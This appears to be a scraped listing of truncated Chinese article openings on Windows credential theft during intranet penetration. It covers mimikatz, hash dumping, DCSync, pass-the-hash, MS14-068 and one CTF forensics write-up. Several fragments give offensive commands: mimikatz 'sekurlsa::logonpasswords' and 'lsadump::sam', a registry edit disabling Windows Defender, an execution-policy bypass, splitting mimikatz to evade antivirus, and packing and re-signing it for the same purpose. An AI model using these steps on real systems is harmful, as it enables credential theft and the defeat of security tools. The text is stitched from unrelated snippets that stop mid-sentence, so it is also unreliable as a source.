下载文件后打开 前两个文件夹是空的，只有第三个文件夹内有一个AppData文件夹，感觉和windows用户根目录下的文件神似 和本地AppData文件夹内容对比一下可以发现，几乎一致 判断是要考察取证，类似的软件有取证大师，Magnet AIXOM。但是这两个软件太大了，我本地没有下载，所以使用了mimikatz
一、通过reg命令导出注册表 1.1为什么要通过reg命令导出 在我们渗透内网的时候，获取了WebShell和提权之后，接下来我们就要对密码进行窃取。如果我们直接添加账户或者是上传mimikatz上去的话，往往会触发杀毒软件的拦截和安全设备告警，很容易被管理员发现。那么我们就需要通过reg命
0x01. 内网机器信息收集 1. 内网信息收集 内网是分布在一个区域性的网络，也称之为局域网，针对于内网不公开于互联网之上，内网分为好几种类型，有服务器内网、办公区域内网等等，内网可以方便的传输，以及可以保证其数据的安全，其资产不亚于暴露外网的资产多，内网信息收集也是非常重要的。 作
在 WinXP/2003/Vista/2008 ，以及未打 KB2871997 补丁之前（AES 不可用或不可替代）的 Win7/2008r2/8/2012 中强制使用 NTLM 哈希，AES 密钥只有在 8.1/2012r2 和打了 kb2871997 补丁的 7/2008r2/8/2012 中才可以替换，在这种情况下，你可以避免使用 NTLM 哈希。 上面的句子怎么理解？ 1、W
讲在前面： 对于mimikatz的原理本文只通过简单的话语表述，并在文章后给出分析的思路和参考文章。对于绕过补丁，本文只对KB2871997补丁做阐述，并且犹豫对mimikatz的介绍文章非常之多，所以本文只取重点罗列，让读者能够简单快速的明白关键点，深入理解在文章后给出分析思路和参考文章。 mimi
公众号：白帽子左一 hash 介绍 在域环境中，用户信息存储在域控的ntds.dit（C:\Windows\NTDS\NTDS.dit）中；非域环境也就是在工作组环境中，当前主机用户的密码信息存储着在sam文件（C:\Windows\System32\config\SAM）。Windows操作系统通常使用两种方法（LM和NTLM）对用户的明文密码进行加密处理。
2015 年 8 月添加到 Mimkatz 的一个主要功能是“DCSync”，它有效地“模拟”域控制器并从目标域控制器请求帐户密码数据。DCSync 由 Benjamin Delpy 和 Vincent Le Toux 编写。 DCSync 之前的漏洞利用方法是在域控制器上运行 Mimikatz 或 Invoke-Mimikatz 以获取 KRBTGT 密码哈希
攻击者将本地用户权限提升到本地管理员权限的方法有溢出漏洞提权、数据库提权、令牌窃取提权、进程注入提权、dll劫持提权、不带引号服务路径提权、不安全服务提权、特定版本漏洞提权等。没有经过提权是无法使用mimikatz抓取密码的。但万一攻击者通过某种方法获得了管理员权限，也
(๑•⌄•๑) 3借用metasploit,cobaltstrike来辅助提权 ps: Meterpreter是Metasploit框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterprete
题目描述 网管小王制作了一个虚拟机文件，让您来分析后作答： 6.1 虚拟机的密码是_____________。（密码中为flag{xxxx}，含有空格，提交时不要去掉） wp: kali安装好Volatility和mimikatz插件 执行 # 查看镜像信息volatility -f Target.vmem imageinfo# 使用mimikatz跑密码vola
一、信息收集 当我们的msf普通权限成功连接后，如图： shell进入命令行模式： 存在中文乱码，chcp 65001将编码格式改为utf-8： 将systeminfo信息输出到文档info.txt： exit退出当前终端。 下载systeminfo信息 download c:\\users\\root\\Desktop\\info1.txt /mnt/hgfs/share/in
0x01 Windows登录凭证窃取 Windows的系统密码hash默认情况下一般由两部分组成：第一部分是LM-hash，第二部分是NTLM-hash。它们都是用户密码经过hash加密后的形式。 Windows系统下hash密码格式为：用户名称:RID:LM-HASH值:NT-HASH值。 例如： Administrator:500:AF01DF70036EBACFAA
文章目录 基础知识windows版本历史一、工作组部分密码存放在哪里？NTML Hashwindows本地认证windows网络认证NTML v1与v2二、域部分kerbero协议白银票据黄金票据 windows密码导出lsass进程抓取mimikatz直接操作lsass进程procdump+mimikatzWindows Server 2016抓取明文密码 sa
防范方法 设置AD2012R2功能级别安装KB2871997通过修改注册表禁止在内存存储明文密码防御mimikatz 设置AD2012R2功能级别 我们先把Administrator账户添加到Protected Users用户组中，然后在mimikatz上输入以下命令 privilege::debug sekurlsa::logonpasswords mimikatz并
LInux中使用split 以 500 K 大小分割 mimikatz.exe 文件,文件分为几个500k大小的小文件。 split -b 500k mimikatz.exe test 合并分割文件为 mimikatz.exe cat testa* > test.exe # 适用于 Linux、Mac copy /b testa* test.exe # 适用于 Windows
RDP凭据获取继续横向 文章目录 RDP凭据获取继续横向猕猴桃获取密码network password通过powershell脚本 猕猴桃获取密码 有可能这台机器保存登录其他机器rdp #查看mstsc的连接纪录 cmdkey /list #查找本地的Credentials： dir /a %userprofile%\AppData\Local\Microsof
前言 感谢一寸一叶师傅提供的思路，才有了这篇文章，对一寸一叶师傅表示衷心感谢 在线抓密码 1.mimikatz privilege::debug token::whoami token::elevate lsadump::sam mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" 2.ps脚本
免杀准备工具： Restorator SigThief VMProtect壳 一、免杀mimikatz 准备工具：mimikatz 第一步：替换资源，此步骤可以直接免杀360及电脑管家，但是无法过火绒。使用Restorator加载mimikatz后在拖入其他程序资源（此处需要注意，资源需要无毒，资源越好效果越佳。） 将原有的图标及版本资源删除
0x00 前言 横向渗透中的哈希传递攻击，这一部分在内网渗透中是十分关键的。在域环境中，用户登录计算机时一般使用域账号，大量计算机在安装时会使用相同的本地管理员账号和密码，因此，如果计算机的本地管理员账号和密码也相同，攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使
临时禁止Windows Defender 1 2 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f gpupdate /force 下载mimikatz后解压缩。 1 powershell.exe -NoP -NonI -Exec Byp
[横向移动]ms14-068 复现 该漏洞允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。 DC 192.168.137.145 域账户 Add1 Admin@11 伪造证书 访问DC的c盘 被拒绝 ?! 呜呜呜 原来小小域账户竟是我自己 伪造 MS14-068.exe -u <userName>@<domainName> -p <clearPass
win8.1和win server 12R开始没有在内存生成，LM哈希值和纯文本密码哈希值都不在内存生成，像win7这些，可以打补丁 先拿个win7的shell 注意！使用mimikatz必须是system权限 因为mimikatz只是个插件，所以要先加载，才能使用 直接使用msv导出，lm哈希值和ntlm哈希值 使用wdigest获取本
mimikatz是一款用C语言编写的用于windows系统凭证收集利用的程序，该程序功能强大，通过它你可以提升进程权限注入进程读取进程内存 基本命令： exit-退出mimikatz cls-清除屏幕（不适用于重定向，如PsExec） answer-回答生命、宇宙和一切的终极问题 coffee-请给我煮杯咖啡！ sleep-睡眠毫秒数
0x00:Pass The Hash 原理： 攻击者使用Hash，而不是密码明文，来通过远程主机的验证 在任何接受LM or NTLM验证的服务器上，都可以使用Pass The Hash 从windows 2008开始微软默认禁用LM hash 从windows 2003默认使用NTLMhash pth不一定要在域内，工作组啥的，只要是通过NTLM认证的都可以PTH 一
